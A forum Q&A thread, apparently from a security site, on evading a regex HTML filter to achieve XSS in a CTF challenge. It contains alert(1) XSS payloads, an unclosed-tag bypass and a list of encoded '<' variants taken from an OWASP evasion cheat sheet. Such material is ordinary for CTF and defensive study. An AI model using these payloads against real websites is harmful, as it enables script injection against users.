How do I bypass a regex filter that filters all html to avoid xss? I've tried using things like <img src="aa" onerror="alert(1)"> but still no luck. This is for a CTF challenge btw.

The regex is: <[\s\S]*> and the validator is running on a TypeScript server

2 Answers 2


This filter doesn't reject unclosed tags, so you could inject:

<img src="x" onerror="alert(1)"

The tag will be closed as soon as the parser encounters a ">", which is obviously quite common in HTML contexts.


https://owasp.org/www-community/xss-filter-evasion-cheatsheet has a section on alternative characters to <. Here is a summary:

  • %3C
  • &#60, &#060, &#0060, &#00060, &#000060, &#0000060

(and try with a ; on the end)

Also, variations on the same zero padding theme above bu with hex:

  • &#x3c, &#X3c, &#x3C, &#X3C


  • \x3c, \x3C, \u003c, \u003C
  • I've tried bypasses like this, but it still detects them.
    – ctfhard
    Commented Jun 11, 2021 at 15:16

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .